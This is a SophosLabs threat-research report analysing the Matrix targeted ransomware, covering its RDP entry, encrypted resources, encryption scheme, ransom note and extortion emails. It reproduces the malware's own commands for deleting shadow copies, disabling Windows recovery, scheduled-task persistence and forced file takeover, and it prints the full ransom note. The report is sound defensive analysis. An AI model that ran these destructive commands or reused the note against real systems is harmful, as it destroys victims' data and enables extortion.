MATRIX:
A LOW-KEY TARGETED RANSOMWARE

By Luca Nagy, SophosLabs
Executive Summary

The ransomware we’re calling Matrix is another example of what SophosLabs has been observing as a growing trend within the criminal community to engage in active, targeted attacks against victim networks with the goal of delivering malware inside the victim’s network. This threat vector has been gaining prominence since the widely publicized SamSam ransomware began to capitalize on it. The malware is delivered, in most cases, by means of the attackers performing an active brute-force attack against the passwords for Windows machines accessible through a firewall that have the Remote Desktop Protocol (RDP) enabled.

The malware executable bundles within itself several payload executables it needs to accomplish its tasks. It uses RDP within the networks it has infected once it has gained a foothold inside the network. Among the embedded components are some free, legitimate systems administrator tools the malware uses to achieve some of its goals.

While the malware has been under continuous development and improvement while we have been monitoring it, the authors or operators of this malware do not appear to behave as professionally as, by comparison, the SamSam gang. They have made frequent mistakes along the way, some of which have been corrected, and other features implemented then abandoned. They do not always employ adequate operational security, which might be the cause of their eventual undoing.

The attackers have not limited themselves to a specific geographic region of the world. SophosLabs has obtained at least 96 samples, as well as telemetry data from Sophos products which encountered the malware and prevented it from operating. The country where the most customers encountered the malware was the United States (27.7% of Matrix detections came from the U.S.), followed by Belgium (16.7% of the detections). Machines running Sophos products also detected Matrix in Taiwan, Singapore, Germany, Brazil, Chile, South Africa, Canada, and the U.K.

Later versions of the ransomware include features which prevent the malware from fully executing if the victim’s machine language settings are configured to a range of languages from Russia and eastern European countries.

We received samples from customers who reported that the attackers made efforts to disable both the Sophos antivirus and exploit prevention technology.
While the number of attacks by the threat actors responsible for Matrix remains low, the malware itself shows characteristics of continuous development and gradual improvement over time. The characteristics that have changed over time include the addition of specific resource sections within the malware that contain, for example, Windows batch files or scripts the malware uses to accomplish specific tasks. The malware authors have also abandoned some notable features, such as the use of a ransom message early on that insinuates the malware’s source is the U.S. Federal Bureau of Investigation. Early attacks used an exploit kit as a threat vector, but that has been completely subsumed by RDP brute-force techniques to infect vulnerable machines.

The attackers’ ransom demands are not embedded within the ransom note. Atypically, the threat actors require victims to contact them first, and submit some of the encrypted files from the victim’s computer, and only then provide the victims with a Bitcoin address and the ransom amount. When we posed as a victim and contacted the threat actors, they asked us to pay whatever the present day’s exchange rate value of $2,500 would be in Bitcoin, rather than a fixed amount of Bitcoin (and then only if we didn’t ask “stupid questions”). This may be due to the volatile exchange rate of Bitcoin to fiat currency. It was not immediately clear whether the threat actors charge more to clean up a whole network of infected devices. We also found that the authors initial sassy attitude eventually morphed to a kind of desperation, as they continued to email us and dropped their ransom demand by nearly a third after we stopped responding to their messages.
Targeted Ransomware Playbook

If an attack using “commodity” ransomware-as-a-service like GandCrab is akin to a smash-and-grab theft, targeted ransomware is equivalent to a cat burglar. Matrix appeared at around the same time as several other high-profile ransomware families, and the criminals who operated Matrix used the low hanging fruit of Remote Desktop on Windows as the vector for their infection, just like the attackers who wielded SamSam. We’ve contrasted Matrix with these other, more well-known players in the security space; While it’s clear that Matrix may be the runt of the litter, it is no less capable of causing damage (though more limited by its inability to spread laterally within an infected network) than its more well-equipped cousins.

<table>
<thead>
<tr>
<th></th>
<th>SamSam</th>
<th>Dharma</th>
<th>Matrix</th>
<th>BitPaymer</th>
<th>Ryuk</th>
<th>GandCrab</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Active</strong></td>
<td>No</td>
<td>Yes</td>
<td>Yes</td>
<td>Yes</td>
<td>Yes</td>
<td>Yes</td>
</tr>
<tr>
<td><strong>First appeared</strong></td>
<td>2015</td>
<td>2016</td>
<td>2016</td>
<td>2017</td>
<td>2018</td>
<td>2018</td>
</tr>
<tr>
<td><strong>Type</strong></td>
<td>Targeted</td>
<td>Targeted</td>
<td>Targeted</td>
<td>Targeted</td>
<td>Targeted</td>
<td>Targeted</td>
</tr>
<tr>
<td><strong>Infection vector</strong></td>
<td>RDP Exploit</td>
<td>RDP</td>
<td>RDP Exploit</td>
<td>RDP</td>
<td>RDP</td>
<td>RDP Email Exploit</td>
</tr>
<tr>
<td><strong>Victim size</strong></td>
<td>Med/large</td>
<td>Small/med</td>
<td>Med/large</td>
<td>Med/large</td>
<td>Med/large</td>
<td>Any</td>
</tr>
<tr>
<td><strong>computers targeted</strong></td>
<td>Servers/ endpoints</td>
<td>Servers</td>
<td>Any</td>
<td>Servers</td>
<td>Servers</td>
<td>Any</td>
</tr>
<tr>
<td><strong>Attack frequency</strong></td>
<td>Med</td>
<td>High</td>
<td>Low</td>
<td>Med</td>
<td>Med</td>
<td>High</td>
</tr>
<tr>
<td><strong>Regions affected</strong></td>
<td>All</td>
<td>All</td>
<td>All</td>
<td>All</td>
<td>All</td>
<td>All</td>
</tr>
<tr>
<td><strong>Decryption available</strong></td>
<td>No</td>
<td>No</td>
<td>No</td>
<td>No</td>
<td>No</td>
<td>Some variants</td>
</tr>
<tr>
<td><strong>Ransom currency</strong></td>
<td>Bitcoin</td>
<td>DASH</td>
<td>Bitcoin</td>
<td>Bitcoin</td>
<td>Bitcoin</td>
<td>Bitcoin</td>
</tr>
<tr>
<td><strong>Avg.ransom</strong></td>
<td>$50k</td>
<td>$5k</td>
<td>$3.5K</td>
<td>$500k</td>
<td>$100k</td>
<td>$800</td>
</tr>
<tr>
<td><strong>Payment method</strong></td>
<td>Dark Web</td>
<td>Email</td>
<td>Email</td>
<td>Email Dark Web</td>
<td>Email</td>
<td>Dark Web</td>
</tr>
</tbody>
</table>

SOPHOS
Introduction

The emergence at the end of 2016 of a novel ransomware family we call Matrix seems to indicate the point in time when targeted attacks morphed from an anomaly (in which the SamSam threat actors played a leading role) into a malware trend. But while SamSam played for notoriety and large stakes, Matrix has been far more low key. That doesn’t make it any less dangerous, however.

Attacks involving Matrix have been steady since it emerged, but the malware’s distribution vector has changed over time. Where Matrix once relied on the RIG Exploit Kit to infect systems, the people who are distributing Matrix are now using a playbook that was pioneered, then refined, by the SamSam attackers. Namely, the attackers are breaking into victim organizations by abusing the Remote Desktop features in Windows to gain a foothold inside the targeted network. Unlike SamSam, they have not implemented the wormable features of the ETERNALBLUE exploit into their malware.

Newer variants of Matrix contain their own ability to scan the local network where they find themselves. These self-contained “Swiss Army knife” ransomware executables can use this functionality to find other potential victim computers. The authors/operators of the ransomware can then leverage that foothold to try to brute force the passwords to those other devices.

Once inside, the attackers employ a variety of methods to internally distribute the ransomware to vulnerable machines. The number of samples we’ve seen still only number fewer than 100, and as a result, we only see a very low volume of samples. However, we have been continuously seeing newer versions, which indicates that the ransomware developers are actively building newer features and improving upon the lessons learned in earlier attacks.

Network analysis shows that much of the malware’s C2 network used cloud infrastructure based in the Netherlands and the U.S., both hosts to many large datacenters, but a few of the domains and their C2 operation pointed directly to small ISPs hosted in other countries. The malware communicates telemetry data throughout the infection process; administrators who recognize the HTTP URI pattern could, in theory, recognize when an attack is underway.

The attackers behind Matrix curiously make their demand for cryptocurrency ransom in the form of a U.S. dollar value equivalent. This is unusual because most demands for cryptocurrency come in the form of a specific value in Bitcoin. It’s unclear whether the odd form of the ransom demand is a deliberate, though ham-fisted, attempt at misdirection, or just an attempt to surf the wildly fluctuating cryptocurrency exchange rates.

The details of this report were first published in conjunction with the BlackHoodie conference.
Matrix summary of functions and contents

There are several stages of a Matrix infection. We’ve chosen a single, canonical example of the ransomware (with the SHA-256 hash 13c0fd18c602dd6aa71d78072ad6617a1871cf24b366a12c8c3f2f278ef301f5c), first seen by Sophos on 17 April 2018) to highlight each step of the infection process.

In its more recent releases, the malware graciously produces prodigious and detailed console output when it is run from the command line.

Initialization

When the Matrix executable first runs, it dynamically resolves some DLL import functions, so it can use them later:

- `ws2_32.dll`: WSAIoctl, __WSAFDIsSet, closesocket, ioctlsocket, WSAGetLastError, WSAStartup, WSACleanup, accept, bind, connect, getpeername, getsocketname, getsockopt, htonl, htons, inet_addr, inet_ntoa, listen, ntohl, ntohs, recv, recvfrom, select, send, sendto, setsockopt, shutdown, socket, gethostbyaddr, gethostbyname, getprotobyname, getprotobynumber, getservbyname, getservbyport, gethostname, getaddrinfo, freeaddrinfo, getnameinfo

- `kernel32.dll`: InitializeConditionVariable, WakeConditionVariable, WakeAllConditionVariable, SleepConditionVariable

- `wsimp6.dll`: getaddrinfo, freeaddrinfo, getnameinfo

In general, SophosLabs treats an unknown executable with these kinds of imported functions as suspicious, because these kinds of API obfuscation techniques are common among a wide variety of malware.

There are two execution paths, which depend on the parameter passed to the executable when it’s run. Running the malware without any switch triggers it to engage in information collection, followed by file encryption. It creates a copy of itself with a random name and executes the copy with “-n” parameter.
When the malware runs with the "-n" switch, its primary focus is to scan the network and enumerate any shared folders. The discovery process loops through the NetShareEnum function using multiple threads (in order to make it faster). It compares the results with hardcoded strings [IPC$, print$, ADMIN$] to omit if that share is a printer share or administrative share.

Using a list of hardcoded file extensions for targets of hostile encryption, it searches for files with matching extensions and will encrypt those files on any shared folder it can access.

Notably, IPC$ and ADMIN$ provide remote access to the root directory of the system drive. Network worms have used those shares in the past to spread within the local network.

The program queries the system for two mutexes, also depending on whether the malware executable was run with or without the -n flag. If the sample was run with the "-n" switch, then it looks for a mutex of OurMainMutex999net; if it doesn’t exist, Matrix creates it.

![Figure 1: Matrix command functions looking for the -n parameter at execution](image-url)
Matrix: A Low-Key Targeted Ransomware

If the malware was running without any parameter, it does the same with the mutex name **OurMainMutex999**.

![Figure 2: The hardcoded Matrix mutex when no parameter is used at execution time](image)

**Information collection**

The malware, as expected, collects some information from the target machine. It extracts the computer name and user name (expanding the `%COMPUTERNAME%`, `%USERNAME%` environment variables with the use of `ExpandEnvironmentStringsW` function), and the major and minor OS version codes. It also queries the system integrity level – what level of permissions the active user account has on the machine – with the use of the functions `GetTokenInformation` and `GetSidSubAuthority`, and the OS language with the `GetUserDefaultUILanguage` function.

Some of these information queries, and their results, show up in console output that appears when the sample runs from the command line.

**Resources**

Like a giant tortoise, Matrix carries a large load of additional data. Its notably large resource section contains the bulk of the actionable intelligence one can extract from the ransomware executable, including some payloads the malware deploys at the direction of the threat actor.

These resources contain sensitive information about the operation of the ransomware. In order to obfuscate these resources, Matrix uses an encryption algorithm that, so far, has not proven to be particularly popular among the creators of ransomware: The ChaCha stream cipher. Matrix uses this algorithm with the constant "expand 32-byte k" option. ChaCha algorithm is very closely related to the Salsa20 algorithm used (we think coincidentally) in the Petya ransomware. We suspect Matrix’s creators chose ChaCha because it offers a greater degree of obfuscation than Salsa20 at a similar level of performance.

The sample used for this analysis contains the following named resources, listed here in alphabetical order, most of which are described in more detail below. The resource sections are labeled **CFG, CHAK, DSHC, DVCLAL, HTA, HX64, HX86, LLST MPUB, NDNF, PACKAGEINFO, PLATFORMTARGETS, PRL, RDM, TAKE, WALL, and WVBS.**

**CFG**

The CFG resource contains the file name of the ransom note, and the email addresses where victims can contact the authors. Until the end of 2018, the attackers also typically included an address from a chat service named "bitmsg.me," but that service (and its associated Web domain) vanished in mid-December. In the newer variants this resource contains the (dark web) domain name as well, and the malware executables have their own ChaCha key and nonces scattered inside the resource, making the obfuscation stronger.
Matrix: A Low-Key Targeted Ransomware

Figure 3: Matrix CFG resource, decrypted

CHAK

The CHAK resource (which has been renamed to KN in some newer variants) is the only resource that has not been encrypted or obfuscated.

The ChaCha20 algorithm, which Matrix also uses to encrypt the victim’s data, consists of a constant, a key, and a nonce.

```
‘expa’ ‘nd 3’ ‘2-by’ ‘te k’
  k0   k1   k2   k3
  k4   k5   k6   k7
nonce0  nonce1  nonce2  nonce3
```

The malware uses the value of the CHAK resource as the key and as a nonce in the ChaCha matrix for the purposes of decrypting all the rest of the resources. In the analyzed sample, the CHAK resource contains:

```
WnXA8nP1Hr5Le5JNeMw5kLOjKiDhTgo0
```

Figure 4: CHAK resource contents

The ChaCha matrix before the resource decoding method:

```
0018F984 65 78 70 61 6E 64 20 33 32 20 62 79 | expand 32-byte k
0018F994 57 6E 58 41 38 6E 50 31 48 72 35 4C 65
WnXA8nP1Hr5Le5JN
0018F9A4 65 4D 77 35 68 4C 6A 48 69 44 68 54 67 6F
42 eWw5kLOj KiDhTgo0
0018F9B4 00 00 00 00 00 00 00 00 00 00 00 00 00 00
```

Figure 5: A blank ChaCha matrix

Matrix uses a so called QuarterRound function [described in detail at https://eprint.iacr.org/2017/1021.pdf] to generate the key stream.

Figure 6: The Matrix ransomware call of the ChaCha QuarterRound function
Matrix: A Low-Key Targeted Ransomware

ChaCha is an “add-rotate-xor,” or ARX, encryption method, so the QuarterRound function uses modular addition, rotation, and XOR operations. These instructions provide fast performance. Later, it XORs the key stream with the content of the resource sections:

cipher_text = plain_text XOR chacha_stream(key, nonce)
plain_text = cipher_text XOR chacha_stream(key, nonce)

![Figure 7: Matrix’s stream cipher decryption code, used to decrypt the rest of the functions](https://github.com/lucanag/matrix_res_dec)

[Editor’s note: The author has published her python script used to automate decoding Matrix resources at https://github.com/lucanag/matrix_res_dec]

**DSHC**

Matrix uses the content of the DSHC resource to set registry keys that automatically display the ransom note, and delete the operating system’s Volume Shadow Copies, which prevents easily recovering the encrypted data.

Both steps are achieved by the following single command:

CommandLine = “C:\Windows\system32\cmd.exe” /C reg add “HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run” /v README /t REG_SZ /d “\%ProgramFiles%\Windows NT\Accessories\wordpad.exe” /”C:\Users\user\AppData\Roaming\#Decrypt_files_ReadMe#.rtf” /f & WMIC.exe shadowcopy delete /nointeractive & vssadmin.exe delete shadows /all /quiet.

![Figure 8: Matrix runs a lot of commands in a single command line, for efficiency](https://example.com/fig8.png)
Depending on the integrity level of the victim's computer, Matrix chooses to use either the “Local Machine” or “Current User” registry hive.

```vbnet
dim W
Set W = CreateObject("WScript.Shell")
W.Run "cmd.exe /C schtasks /Create /tn DSHCA /tr ""C:\Users\user\AppData\Roaming\<dropped-malicious>.bat"" /sc minute /mo 5 /RL HIGHEST /F", 0, True
W.Run "cmd.exe /C schtasks /Run /I /tn DSHCA", 0, False
```

The .vbs file creates a scheduled task named DSHCA, which runs a .bat file from the user's Roaming profile folder every five minutes. The ransomware drops the batch file from a resource labeled DS; It removes the Volume Shadow Copies, and disables Windows' self-repair functions.

```bash
vssadmin Delete Shadows /All /Quiet
wmic SHADOWCOPY DELETE
powershell -Exec Unrestricted try {start-process -FilePath "vssadmin" -ArgumentList "delete","shadows","/all","/quiet" -WindowStyle Hidden} catch {}
bcdedit /set {default} recoveryenabled No
bcdedit /set {default} bootstatuspolicy ignoreallfailures
del /f /q "C:\Users\user\AppData\Roaming\<dropped-malicious>.vbs"
SCHTASKS /Delete /IN DSHCA /F
del /f /q %0
```

These actions are fairly common among ransomware, as they make it far more difficult to recover the user's files after they've been encrypted. The batch file then deletes the .vbs file and the scheduled task, and then itself.

**HTA**

Some older variants of Matrix contain a resource labeled HTA. This resource contains an .hta file that, when opened, displays a ransom note that implies the attacker works for the FBI and that the ransom demand is a “penalty,” and not merely an act of criminal extortion.
Matrix: A Low-Key Targeted Ransomware

Figure 10: The (now deprecated) HTML Application (.hta) version of the Matrix ransom note

HX64 and HX86

Matrix contains an embedded version of the free Windows Sysinternals tool **Handle** ([https://docs.microsoft.com/en-us/sysinternals/downloads/handle](https://docs.microsoft.com/en-us/sysinternals/downloads/handle)) in each of these resource sections. Depending on whether the victim’s system architecture is 32-bit or 64-bit, it drops the appropriate version from either the HX64 or HX86 resource.

“Handle is a utility that displays information about open handles for any process in the system,” according to the description of the tool from Microsoft’s website. Matrix uses Handle to get access to every file to encrypt (see the details, later), even if the file is in use by another application. Matrix drops the Handle payload as a file with a name that has been randomly, dynamically generated using the output of the `GetTickCount` and `QueryPerformanceCounter` functions.

As a side note, Matrix also uses these same methods to generate random names for the victim’s encrypted files, for the other dropped payload files (e.g. the .vbs, or .cmd files), and to create a unique user ID. In newer variants of Matrix, the author(s) have packed the Handle executable with UPX, and stored the modified version in a resource labeled **HN**.
LLST

Literally a language list. The LLST resource is a list of language identifier codes. The ransomware seems to avoid infecting operating systems on which these language sets are used or installed.

Figure 12: The LLST resource contents

- 2092: Azeri - Cyrillic
- 1068: Azeri - Latin
- 1067: Armenian
- 1059: Belarusian
- 1087: Kazakh
- 2115: Uzbek - Cyrillic
- 1091: Uzbek - Latin
- 1049: Russian
- 1058: Ukrainian
- 1092: Tatar - Russia
- 1088: Kyrgyz - Cyrillic

In the latest variants (from November, 2018) an LCWL resource is used to index the language IDs. The 1092 Azeri – Cyrillic and 1068 Azeri – Latin have been cut from the list and the following new IDs are appended:

- 2072: Romanian - Moldova
- 2073: Romanian - Romania
- 1064: Tajik
- 1090: Turkmen
- 1079: Georgian
- 1062: Litvanian
- 1063: Lithuanian
Matrix: A Low-Key Targeted Ransomware

**MPUB**

Matrix extracts an RSA-1536 public key from the MPUB resource. The ransomware uses this key during the file encryption phase of the attack.

```
02421070 | 1536..547451865AB8944180950D77EC
02421090 | BEO2021ED06F2A796456DE25C87CCA
02421080 | 27CB266DF37F6D58894D82C734FCA
02421080 | 724BE4EB374C9F0E38BFEE0CFFB0D5EE7
02421080 | 553690F2567FB10954159C6448ED6019
02421110 | CDEF96AA9C2BFB57514423E46AF882E0
02421130 | 915BF5CC29AF676AD92CC33221D616EA
02421150 | 9137D6CADE67CD406F45DBCEF14A154
02421170 | D099DC12DBCAD014255578B2DF7DD87B
02421190 | 191FB171F738F9866DBB6C1354A07A6F
02421180 | D75B85E9C9618C8C43F9ACE22FD6C122
024211D0 | 593E336FF28EB64F87263043BF013CE2
024211F0 | 9A686B..00010001.............
```

*Figure 13: MPUB contains the RSA-1536 public key used to encrypt files*

**NDNF**

The NDNF resource contains a list of file extensions and directory names. The malware uses the list to indicate which files or folder paths will be excluded from encryption during the malicious-encryption phase of the attack.

```
008741F0 | [NF_START].LIST..EXE..LNK..HTA..
00874210 | PEK..SEK..USB..CMD..TMP..ICO..00
00874230 | 0..SYS..RTF..INF..DLL..REG..HDR..
00874250 | .DEV..KLST..[NF_END]..[ND_START]..
00874270 | ..WINDOWS..\GAMES..\APPDATA..\.
00874290 | APPLICATION DATA..\LOCAL SETTING
008742B0 | GS..\TEMP..\BOOT\..\MSCACHE\.
008742D0 | .DEFAULT USER\..\SAMPLE..\EXAMP
008742F0 | L..\138..\TEMPORARY..\TOR BROW
00874310 | SER\..[ND_END].................
```

*Figure 14: The NDNF resource contains the whitelist of files and directories*

Beginning around June of 2018, the list began to include folder names used by various endpoint antivirus products. We suspect that’s been done to evade the detection caused by encrypting any of these folders:

\MALWAREBYTES
\ESET
\SYMANTEC ENDPOINT
\TREND MICRO\n\BITDEFENDER\n\MCAFEE\n
By mid-September, the attackers had expanded this list to include folders named:

\PANDA SECURITY
\KASPERSKY LAB
\KASPERSKYLAB
\AVDEFENDER
\SOPHOS
\AVG
\AVAST

It’s worth mentioning that the act of merely not encrypting the \SOPHOS folder path has no effect on our ability to detect or prevent the malicious activity.

PRL

The PRL resource contains a list of the file extensions that will be targeted for encryption by the ransomware. (A full list of these targeted extensions appears at the end of this report in the IoCs section.)

Figure 15: The PRL is a list of file extensions targeted for encryption

RDM

The RDM resource contains the ransom note, in the form of an RTF file called #Decrypt_files_ReadMe#.rtf. The ransomware automatically adds the email addresses and (in versions prior to the bitmsg.me service shutting down) the Bitmsg instant messaging account address from the CFG resource to the ransom note, along with the victim’s unique identifier.

During the malicious-encryption phase of the attack, Matrix writes a copy of this file to every folder. The files also notably contain a “hidden” block of text [formatted in white letters on a white background], that’s different in every copy of the ransom note on the machine, at the end of the ransom note. We don’t understand why the creators did this – it doesn’t make sense.

Finally, the ransom note will be saved to the Users\$USER$\AppData\Roaming\ directory as well. After it writes the status to the console: SavingReadme...Done!
Matrix: A Low-Key Targeted Ransomware

WHAT HAPPENED WITH YOUR FILES?

Your documents, databases, backups, network folders and other important files are encrypted with RSA-2048 and AES-128 ciphers.

More information about the RSA and AES can be found here:
http://en.wikipedia.org/wiki/AES

It means that you will not be able to access them anymore until they are decrypted with your personal decryption key! Without your personal key and special software data recovery is impossible! If you will follow our instructions, we guarantee that you can decrypt all your files quickly and safely.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
You really want to restore your files? Please write us to the e-mails:
okken@tutanota.com
okken@ruvver.com
okken@yahoo.com

In subject line of your message write your personal ID:
22657A5234F627DA

We recommend you to send your message ON EACH OF OUR 3 EMAILS, due to the fact that the message may not reach their intended recipient for a variety of reasons!

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

If you prefer to use messaging you can send us bitmessages from a web browser through the webpage https://bitmsg.me. Below is a tutorial on how to send bitmessage via web browser:

1. Open in your browser the link https://bitmsg.me/users/sign_up and make the registration by entering name email and password.
2. You must confirm the registration, return to your email and follow the instructions that were sent to you.
3. Return to site and click “Login” label or use login link (https://bitmsg.me/users/sign_in), enter your email and password and click the “Sign in” button.
4. Click the “Create Random address” button.
5. Click the “New message” button.

Sending message:
To: Enter address: BM-20whQ2z9Xt354Kk2Us4s1g4w8bf84kZdlpR
Subject: Enter your ID: 22657A5234F627DA

Please, write us in English or use professional translator!

If you want to restore your files, you have to pay for decryption in Bitcoins or with other top cryptocurrency.

The price depends on how fast you write to us!

Your message will be as confirmation you are ready to pay for decryption key. After the payment you will get the decryption tool with instructions that will decrypt all your files including network folders.

To confirm that we can decrypt your files you can send us up to 3 files for free decryption. Please note that files for free decryption must NOT contain any valuable information and their total size must be less than 5MB.

You have to respond as soon as possible to ensure the restoration of your files, because we won’t keep your decryption keys at our server more than one week in interest of our security.

Note that all the attempts of decryption by yourself or using third party tools will result only in irreversible loss of your data.

If you did not receive the answer from the aforementioned email is for more than 6 hours, please check SPAM folder!
If you did not receive the answer from the aforementioned email is for more than 12 hours, please try to send your message with another email service!
If you did not receive the answer from the aforementioned email is for more than 24 hours (even if you have previously received answer from us), please try to send your message with another email service to each of our 3 email!
And don’t forget to check SPAM folder!

Figure 16: A typical Matrix ransom note, including the now-deprecated instructions for the bitmsg.me service

And don’t forget to check SPAM folder!

Figure 17: Matrix ransom notes contain “hidden” text (white text on a white background)

TAKE

The TAKE resource contains the contents of a Windows shell .cmd file that attempts to forcibly take control of ownership over a file, as well as a hardcoded, randomized name for the HANDLE.EXE utility and the current file path to encrypt, which the malware requires. The Matrix ransomware drops and executes this the extracted Sysinternals tool in order to kill any open handles to a file, which might prevent one or more of the victim’s files from being encrypted.
Matrix: A Low-Key Targeted Ransomware

```bash
@echo off
attrib -R -A -S %1
cacls %1 /E /G %USERNAME%:F /C
takeown /F %1
FOR /F "Tokens=3,6 delims=: " %%i IN (`"C:\path-to-handle.exe" -accepteula %~n1 -nobanner`) DO ( "C:\path-to-handle.exe" -accepteula -c %%j -y -p %%i -nobanner & taskkill /t /f /PID %%i )
```

Figure 18: Use of the TAKE resource invokes a number of Windows system processes

The TAKE resource requires, as a parameter, the randomized name of the modified HANDLE.EXE utility. It starts an attrib process to clear the file Read-Only, Archive, or System-File attributes to access the file. Then it modifies the DACL of the file with the cacls process to get full control, and continue on access denied errors. With the takeown it recovers access to the file. Then in a loop it uses the extracted Sysinternals tool (named qNNZTqIo.exe in the example shown above) in order to kill all open handles to the process so it can encrypt the file.

**WALL**

The WALL resource contains an image file that is assigned to the desktop wallpaper after system boot. The text contents of this image file mimic the text of the ransom note.

```
All your files were encrypted with RSA-2048 crypto algorithm!
Without your personal key and special software data recovery is impossible.
If you want to restore your files, please write us to the e-mails:
oken@tutanota.com
oken5@naver.com
oken80@yahoo.com

* Additional info you can find in files: Decrypt_files_ReadMe.rtf
rdat2019TempTemp1
```

Figure 19: Another WALL nobody wants
WVBS

From the WVBS resource a .vbs file is extracted which can set some registry values in order to set the wallpaper.

FileName = “C:\Users\user\AppData\Roaming\0pdbwhYlg5mwwR02.jpg”
Set WshShell = WScript.CreateObject(“Wscript.Shell”)
WshShell.RegWrite “HKCU\Control Panel\Desktop\Wallpaper”, FileName
WshShell.RegWrite “HKCU\Control Panel\Desktop\WallpaperStyle”, 0
WshShell.Run “%SystemRoot%\System32\RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters”, 0, True

Then it executes it with the CreateProcessW function with the argumentum of
CommandLine=“\“wscript.exe” //B //Nologo “C:\Users\user\AppData\Roaming\kwFO9RNGFtdronuj.vbs””

What happens during a Matrix attack

Network breach in real time

An unknown threat actor performs a manual, targeted break-in of the victim network, most likely using an exposed Windows machine with RDP accessible through the firewall. The attacker uses brute force or exploit techniques to access a foothold computer.

One hypothesis that has not been tested is that the attackers may use the detailed console output during the attack to remotely determine which machines inside the network might be accessible over RDP from the infected “foothold” machine, and to perform manual RDP brute-force against the other internal machines.

Pre-encryption process

Before encryption begins, Matrix enumerates the drives to build a list of what’s to be encrypted. It targets removable, fixed, and remote drives.

Figure 20: Iterate through the drives
List-building happens by means of a recursive directory scan. During the scan, the malware checks whether the target is a folder or a file and compares that against the hardcoded directory names extracted from the NDNF resource. It counts the files that will be encrypted and calculates the sum of the file sizes.

The encryption begins

To start the file encryption, Matrix uses the CryptGenRandom function to create a 40 byte long random value. The malware uses this value in the ChaCha algorithm as both the key and the nonce.

Next, the malware repeatedly uses the QuarterRound function of the ChaCha algorithm (in counter mode) to generate as many keys and nonce pairs as the number of files on the victim's computer. It uses these pairs to encrypt the files again, using ChaCha.

Matrix's authors are very protective of the encryption keys, for good reason. While it's running, the malware generates a brand new RSA-1024 key and uses that dynamically-created key in combination with the RSA-1536 key we previously extracted from the MPUB resource, to encrypt the ChaCha keys.

Encrypted files contain some extra information added by the malware: the ChaCha key and nonce (encrypted by the RSA-1024 public key), the RSA-1024 private key (encrypted by the RSA-1536 public key), file size, and the original file name (newer versions don't encrypt the file name).
After the encryption, it uses MoveFileExW to rename the encrypted files. An example of the new filename: A8QdEDrL-k9EukmQp [EMAIL@EMAIL.TLD].

As previously mentioned, the malware produces prodigious useful console output. Case in point: the malware helpfully tracks the encryption progress.

![Console output](image)

**Figure 24: Just let me know when you're done**

Subsequent versions of Matrix show the console output changes over time, indicating an active developer who doesn't seem all that concerned about opsec, or doesn't need to be. This version below groups the progress into subcategories of file sizes:

![Console output](image)

**Figure 25: Progress organized by the size-ranges of the victim's files**

### The big finish

Once the malware runs through every encryptable file, it runs a small .cmd file. The file uses a tool called cipher.exe to overwrite deleted data on all the connected drives, rendering it (hypothetically) permanently unrecoverable. At the very least, it makes it much harder to even partially recover deleted data.

![Command line](image)

**Figure 26: Very simple command with profound effect**
Some variants uses a CLR resource in order to delete the .cmd files. The cleaners clean themselves:

```plaintext
ing -n 7 localhost
del /f /q "{SELF_PATHNAME}"
del /f /q "{SEC_PATH}*\vbs"
del /f /q "{SEC_PATH}*\cmd"
```

### Decryption

One of this author’s YARA rules found a decryption tool to the Matrix ransomware. The decryptor shares a list of resource names with the ransomware itself.

The decryption tool, when run, looks for a specially-crafted file which contains the runtime-generated RSA-1024 private key of the victim – a value appended to each of the encrypted files. Clearly, the attackers already have the RSA-1536 private key, paired to the public key they hardcoded in the MPUB resource.

![Figure 27: The decryptor also produces useful text output](image-url)
Communication with the CnC server

The malware transmits information to its command-and-control server about the victims, and real-time status updates about the current phase of the attack.

Figure 28: Some of the C&C traffic went to countries other than the US or Netherlands. Graph courtesy of VirusTotal

We saw URLs that follow a general paradigm that looks like:

```plaintext
```

Following the scan for vulnerable files, and before it begins the encryption process, the malware sends a slightly modified command request:

```plaintext
```
With each development cycle of new versions, the malware transmits increasing amounts of information. We have observed following network communication:

![Network Traffic]

**Figure 29: The command and control traffic is unencrypted**

**What happens when you pay the Matrix attackers?**

The ransom note recommends that the victim contacts the attackers directly. For most of Matrix’s existence, the authors used a cryptographically-protected anonymous instant messaging service, called **bitmsg.me**, but that service has been discontinued and the authors have reverted to using normal email accounts.

The ransom note goes on to warn the victim that they need to contact all three addresses, just to be sure it gets through.

If you make contact with the attackers, they ask you to send them some of the encrypted files. Since each encrypted data file contains the victim’s RSA-1024 private key, they can extract that value and test the decryption. The unique “victim identifier” is what ties the victim to the corresponding RSA-1536 private key used in the attack.

The email replies we’ve seen were, curiously, timestamped in the Pacific time zone, which covers the west coast of Canada, the U.S., and Mexico. That may be the result of the Matrix operators using a VPN service to connect to this region, or merely a result of the use of specific time zone settings in the accounts. As noted in the screenshots and IoC section below, the attackers have been using free services such as those offered by 000webhost, Yahoo, Tutanota, Naver, or QQ to communicate with victims.
The attackers appear to be able to decrypt small numbers of files manually, but they required the `KEYIDS.KLST` file in order to process a full decryption of the victim's computer. Only after you've provided this file will the attackers tell you the Bitcoin address you need to pay the ransom.

The attacker demands a ransom of whatever the Bitcoin exchange rate equivalent of $2,500 is in the initial 24 hours after infection (and in the absence of what the attacker described as “stupid questions”), rising by $1,000 after that. It is notable that the attackers specify the dollar equivalent value in Bitcoin and not a specific quantity of Bitcoin.

The one Bitcoin address ([https://www.blockchain.com/en/btc/address/a7ecb61b2821828571a15974868e79939c7185b3](https://www.blockchain.com/en/btc/address/a7ecb61b2821828571a15974868e79939c7185b3)) that we are aware the attackers have been using has not, to date, received any payments.

Figure 30: A no-nonsense “for test decrypt as guarantee” email

Figure 31: We can decrypt your data for cheaper “without any stupid questions”
The Matrix attackers initially issued extortionate threats, but after we didn’t respond to their demands (other than sending them a few dummy files that the ransomware had encrypted), they continued to send what appeared to be increasingly desperate email missives, eventually offering to reduce the initial ransom to $1,500.

Figure 32: Hi, do you need your files? I can reduce the price

Conclusion

While it is not in wide distribution, Matrix appears to herald a future in which small, bespoke ransomware gangs engage in moderate-return targeted attacks simply because the low-hanging fruit exists. The attackers seemed at least marginally competent.

The weak link that leads to targets becoming victims remains cross-firewall RDP access, and a lack of strong, multi-factor authentication. Systems administrators would be well advised to look for, and close, obvious open ports that a dedicated attacker might exploit. Consider the value of security by obscurity: it’s worth zero once someone knows where to look.

